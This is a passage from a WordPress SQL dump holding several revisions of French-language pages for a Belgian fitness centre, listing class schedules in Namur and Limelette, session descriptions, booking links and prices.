de calories et perdre du poids !\r\n\r\n&lt;img class=\&quot;size-full wp-image-409 alignleft\&quot; alt=\&quot;zumba3\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/11/zumba3.jpg\&quot; width=\&quot;70\&quot; height=\&quot;24\&quot; /&gt; :&lt;strong&gt;La Zumba® &lt;/strong&gt;est un mix de plusieurs danses latines (salsa, merengue, cumbia, reggaeton…), de fitness et d\'aérobie qui reste accessible à tout le monde quel que soit son niveau.\r\n&lt;h1&gt;&amp;nbsp;&lt;/h1&gt;\r\n&lt;h2&gt;Réservation des séances :&lt;/h2&gt;\r\nRéserver vos séances de Team Training en ligne : &lt;a href=\&quot;http://reservation.crosstrainingcenter.be\&quot;&gt;http://reservation.crosstrainingcenter.be&lt;/a&gt;\r\n&lt;h1&gt;&amp;nbsp;&lt;/h1&gt;\r\n&lt;h2&gt;Duo Training - Namur :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www2.crosstrainingcenter.be/contact-2/\&quot; target=\&quot;_blank\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nEntrainements à deux personnes sous la supervision d’un coach.\r\n&lt;h1&gt;&amp;nbsp;&lt;/h1&gt;\r\n&lt;h2&gt;Personal Training - Namur :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www2.crosstrainingcenter.be/contact-2/\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nUn coach par personne, l’idéal pour progresser plus rapidement!\r\n&lt;h1&gt;&amp;nbsp;&lt;/h1&gt;\r\n&lt;h2&gt;Coaching nutritionnel - Namur :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www2.crosstrainingcenter.be/contact-2/\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nRendez-vous avec une diététicienne pour améliorer votre santé.\r\n&lt;h1&gt;&amp;nbsp;&lt;/h1&gt;\r\n&lt;h2&gt;Prix&lt;/h2&gt;\r\n&lt;table&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Team Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 séance : 9.00€\r\n1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 6 mois illimité : 399.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€\r\nSuivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'Les séances - Namur', '', 'inherit', 'open', 'open', '', '363-revision-v1', '', '', '2014-02-09 20:37:08', '2014-02-09 20:37:08', '', 363, 'http://www.crosstrainingcenter.be/363-revision-v1/', 0, 'revision', '', 0),
(432, 1, '2014-02-09 20:39:58', '2014-02-09 20:39:58', '&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;sousmenuhoover\&quot;&gt;\r\n&lt;div align=\&quot;center\&quot;&gt;\r\n\r\nNamur\r\n\r\n&lt;/div&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;sousmenu\&quot;&gt;\r\n&lt;div align=\&quot;center\&quot;&gt;\r\n\r\n&lt;a title=\&quot;Les séances – Limelette\&quot; href=\&quot;http://www.crosstrainingcenter.be/les-seances-limelette/\&quot;&gt;Limelette&lt;/a&gt;\r\n\r\n&lt;/div&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h1&gt;&amp;nbsp;&lt;/h1&gt;\r\n&lt;h1&gt;Team Training - Namur :&lt;/h1&gt;\r\nEntrainements en groupe avec un coach qualifié (8 à 12 pers.). Nous vous proposons 4 types de séances décrites ci-dessous\r\n\r\n&amp;nbsp;\r\n&lt;table style=\&quot;width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;LUNDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MARDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MERCREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;JEUDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;VENDREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;SAMEDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;DIMANCHE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;17h30&lt;/b&gt;\r\nTRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;17h30&lt;/b&gt;\r\nCARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;17h30&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;17h30&lt;/b&gt;\r\nCircuit&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;17h30&lt;/b&gt;\r\nTRX&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;11h00&lt;/b&gt;\r\nTRX&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;11h00&lt;/b&gt;\r\nCircuit&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;18h15&lt;/b&gt;\r\nCircuit&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;18h15&lt;/b&gt;\r\nTRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;18h15&lt;/b&gt;\r\nCARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;18h15&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;18h15&lt;/b&gt;\r\nCircuit&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;11h45&lt;/b&gt;\r\nCircuit&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;11h45&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;19h00&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;19h00&lt;/b&gt;\r\nCircuit&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;19h00&lt;/b&gt;\r\nTRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;19h00&lt;/b&gt;\r\nCARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;19h00&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;12h30&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;12h30&lt;/b&gt;\r\nCARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;tzumba\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;\r\n&lt;img class=\&quot;size-full wp-image-409 aligncenter\&quot; alt=\&quot;zumba3\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/11/zumba3.jpg\&quot; width=\&quot;70\&quot; height=\&quot;24\&quot; /&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;\r\nCircuit&lt;/td&gt;\r\n&lt;td class=\&quot;tzumba\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;\r\n&lt;img class=\&quot;size-full wp-image-409 aligncenter\&quot; alt=\&quot;zumba3\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/11/zumba3.jpg\&quot; width=\&quot;70\&quot; height=\&quot;24\&quot; /&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;\r\nCARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&amp;nbsp;\r\n\r\n&lt;span style=\&quot;text-decoration: underline; background: #F2F5A9;\&quot;&gt;&lt;strong&gt;TRX :&lt;/strong&gt;&lt;/span&gt; entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.\r\n\r\n&lt;span style=\&quot;text-decoration: underline; background: #E6E6E6;\&quot;&gt;&lt;strong&gt;Circuit :&lt;/strong&gt;&lt;/span&gt; travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline; background: #A9F5A9;\&quot;&gt;RIP-KETTLE&lt;/span&gt; :&lt;/strong&gt; alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issus de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline; background: #A9F5F2;\&quot;&gt;CARDIO&lt;/span&gt; :&lt;/strong&gt; pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !\r\n\r\n&lt;img class=\&quot;size-full wp-image-409 alignleft\&quot; alt=\&quot;zumba3\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/11/zumba3.jpg\&quot; width=\&quot;70\&quot; height=\&quot;24\&quot; /&gt; :&lt;strong&gt;La Zumba® &lt;/strong&gt;est un mix de plusieurs danses latines (salsa, merengue, cumbia, reggaeton…), de fitness et d\'aérobie qui reste accessible à tout le monde quel que soit son niveau.\r\n&lt;h1&gt;&amp;nbsp;&lt;/h1&gt;\r\n&lt;h2&gt;Réservation des séances :&lt;/h2&gt;\r\nRéserver vos séances de Team Training en ligne : &lt;a href=\&quot;http://reservation.crosstrainingcenter.be\&quot; target=\&quot;_blank\&quot;&gt;http://reservation.crosstrainingcenter.be&lt;/a&gt;\r\n&lt;h1&gt;&amp;nbsp;&lt;/h1&gt;\r\n&lt;h2&gt;Duo Training - Namur :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/contact/\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nEntrainements à deux personnes sous la supervision d’un coach.\r\n&lt;h1&gt;&amp;nbsp;&lt;/h1&gt;\r\n&lt;h2&gt;Personal Training - Namur :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/contact/\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nUn coach par personne, l’idéal pour progresser plus rapidement!\r\n&lt;h1&gt;&amp;nbsp;&lt;/h1&gt;\r\n&lt;h2&gt;Coaching nutritionnel - Namur :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/contact/\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nRendez-vous avec une diététicienne pour améliorer votre santé.\r\n&lt;h1&gt;&amp;nbsp;&lt;/h1&gt;\r\n&lt;h2&gt;Prix&lt;/h2&gt;\r\n&lt;table&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Team Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 séance : 9.00€\r\n1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 6 mois illimité : 399.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€\r\nSuivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'Les séances - Namur', '', 'inherit', 'open', 'open', '', '363-revision-v1', '', '', '2014-02-09 20:39:58', '2014-02-09 20:39:58', '', 363, 'http://www.crosstrainingcenter.be/363-revision-v1/', 0, 'revision', '', 0);
INSERT INTO `wp_posts` (`ID`, `post_author`, `post_date`, `post_date_gmt`, `post_content`, `post_title`, `post_excerpt`, `post_status`, `comment_status`, `ping_status`, `post_password`, `post_name`, `to_ping`, `pinged`, `post_modified`, `post_modified_gmt`, `post_content_filtered`, `post_parent`, `guid`, `menu_order`, `post_type`, `post_mime_type`, `comment_count`) VALUES
(431, 1, '2014-02-09 20:38:59', '2014-02-09 20:38:59', '&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;sousmenuhoover\&quot;&gt;\r\n&lt;div align=\&quot;center\&quot;&gt;\r\n\r\nNamur\r\n\r\n&lt;/div&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;sousmenu\&quot;&gt;\r\n&lt;div align=\&quot;center\&quot;&gt;\r\n\r\n&lt;a title=\&quot;Les séances – Limelette\&quot; href=\&quot;http://www.crosstrainingcenter.be/les-seances-limelette/\&quot;&gt;Limelette&lt;/a&gt;\r\n\r\n&lt;/div&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h1&gt;&amp;nbsp;&lt;/h1&gt;\r\n&lt;h1&gt;Team Training - Namur :&lt;/h1&gt;\r\nEntrainements en groupe avec un coach qualifié (8 à 12 pers.). Nous vous proposons 4 types de séances décrites ci-dessous\r\n\r\n&amp;nbsp;\r\n&lt;table style=\&quot;width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;LUNDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MARDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MERCREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;JEUDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;VENDREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;SAMEDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;DIMANCHE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;17h30&lt;/b&gt;\r\nTRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;17h30&lt;/b&gt;\r\nCARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;17h30&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;17h30&lt;/b&gt;\r\nCircuit&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;17h30&lt;/b&gt;\r\nTRX&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;11h00&lt;/b&gt;\r\nTRX&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;11h00&lt;/b&gt;\r\nCircuit&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;18h15&lt;/b&gt;\r\nCircuit&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;18h15&lt;/b&gt;\r\nTRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;18h15&lt;/b&gt;\r\nCARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;18h15&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;18h15&lt;/b&gt;\r\nCircuit&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;11h45&lt;/b&gt;\r\nCircuit&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;11h45&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;19h00&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;19h00&lt;/b&gt;\r\nCircuit&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;19h00&lt;/b&gt;\r\nTRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;19h00&lt;/b&gt;\r\nCARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;19h00&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;12h30&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;12h30&lt;/b&gt;\r\nCARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;tzumba\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;\r\n&lt;img class=\&quot;size-full wp-image-409 aligncenter\&quot; alt=\&quot;zumba3\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/11/zumba3.jpg\&quot; width=\&quot;70\&quot; height=\&quot;24\&quot; /&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;\r\nCircuit&lt;/td&gt;\r\n&lt;td class=\&quot;tzumba\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;\r\n&lt;img class=\&quot;size-full wp-image-409 aligncenter\&quot; alt=\&quot;zumba3\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/11/zumba3.jpg\&quot; width=\&quot;70\&quot; height=\&quot;24\&quot; /&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;\r\nCARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&amp;nbsp;\r\n\r\n&lt;span style=\&quot;text-decoration: underline; background: #F2F5A9;\&quot;&gt;&lt;strong&gt;TRX :&lt;/strong&gt;&lt;/span&gt; entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.\r\n\r\n&lt;span style=\&quot;text-decoration: underline; background: #E6E6E6;\&quot;&gt;&lt;strong&gt;Circuit :&lt;/strong&gt;&lt;/span&gt; travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline; background: #A9F5A9;\&quot;&gt;RIP-KETTLE&lt;/span&gt; :&lt;/strong&gt; alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issus de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline; background: #A9F5F2;\&quot;&gt;CARDIO&lt;/span&gt; :&lt;/strong&gt; pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !\r\n\r\n&lt;img class=\&quot;size-full wp-image-409 alignleft\&quot; alt=\&quot;zumba3\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/11/zumba3.jpg\&quot; width=\&quot;70\&quot; height=\&quot;24\&quot; /&gt; :&lt;strong&gt;La Zumba® &lt;/strong&gt;est un mix de plusieurs danses latines (salsa, merengue, cumbia, reggaeton…), de fitness et d\'aérobie qui reste accessible à tout le monde quel que soit son niveau.\r\n&lt;h1&gt;&amp;nbsp;&lt;/h1&gt;\r\n&lt;h2&gt;Réservation des séances :&lt;/h2&gt;\r\nRéserver vos séances de Team Training en ligne : &lt;a href=\&quot;http://reservation.crosstrainingcenter.be\&quot; target=\&quot;_blank\&quot;&gt;http://reservation.crosstrainingcenter.be&lt;/a&gt;\r\n&lt;h1&gt;&amp;nbsp;&lt;/h1&gt;\r\n&lt;h2&gt;Duo Training - Namur :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/contact/\&quot; target=\&quot;_blank\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nEntrainements à deux personnes sous la supervision d’un coach.\r\n&lt;h1&gt;&amp;nbsp;&lt;/h1&gt;\r\n&lt;h2&gt;Personal Training - Namur :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/contact/\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nUn coach par personne, l’idéal pour progresser plus rapidement!\r\n&lt;h1&gt;&amp;nbsp;&lt;/h1&gt;\r\n&lt;h2&gt;Coaching nutritionnel - Namur :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/contact/\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nRendez-vous avec une diététicienne pour améliorer votre santé.\r\n&lt;h1&gt;&amp;nbsp;&lt;/h1&gt;\r\n&lt;h2&gt;Prix&lt;/h2&gt;\r\n&lt;table&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Team Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 séance : 9.00€\r\n1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 6 mois illimité : 399.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€\r\nSuivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'Les séances - Namur', '', 'inherit', 'open', 'open', '', '363-revision-v1', '', '', '2014-02-09 20:38:59', '2014-02-09 20:38:59', '', 363, 'http://www.crosstrainingcenter.be/363-revision-v1/', 0, 'revision', '', 0),
(433, 1, '2014-02-09 20:41:07', '2014-02-09 20:41:07', '&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;sousmenu\&quot;&gt;\r\n&lt;div align=\&quot;center\&quot;&gt;\r\n\r\n&lt;a title=\&quot;Les séances – Namur\&quot; href=\&quot;http://www.crosstrainingcenter.be/les-seances-namur/\&quot;&gt;Namur&lt;/a&gt;\r\n\r\n&lt;/div&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;sousmenuhoover\&quot;&gt;\r\n&lt;div align=\&quot;center\&quot;&gt;\r\n\r\nLimelette\r\n\r\n&lt;/div&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h1&gt;&amp;nbsp;&lt;/h1&gt;\r\n&lt;h1&gt;Team Training - Limelette :&lt;/h1&gt;\r\nEntrainements en groupe avec un coach qualifié (8 à 12 pers.). Nous vous proposons 3 types de séances décrites ci-dessous\r\n\r\n&amp;nbsp;\r\n&lt;table style=\&quot;width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;LUNDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MARDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MERCREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;JEUDI&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;18h&lt;/b&gt;\r\nRenforcement musculaire&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;&lt;/b&gt;18h\r\nCardio&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;18h&lt;/b&gt;\r\nCircuit training&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;17h30&lt;/b&gt;\r\nRenforcement musculaire&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td 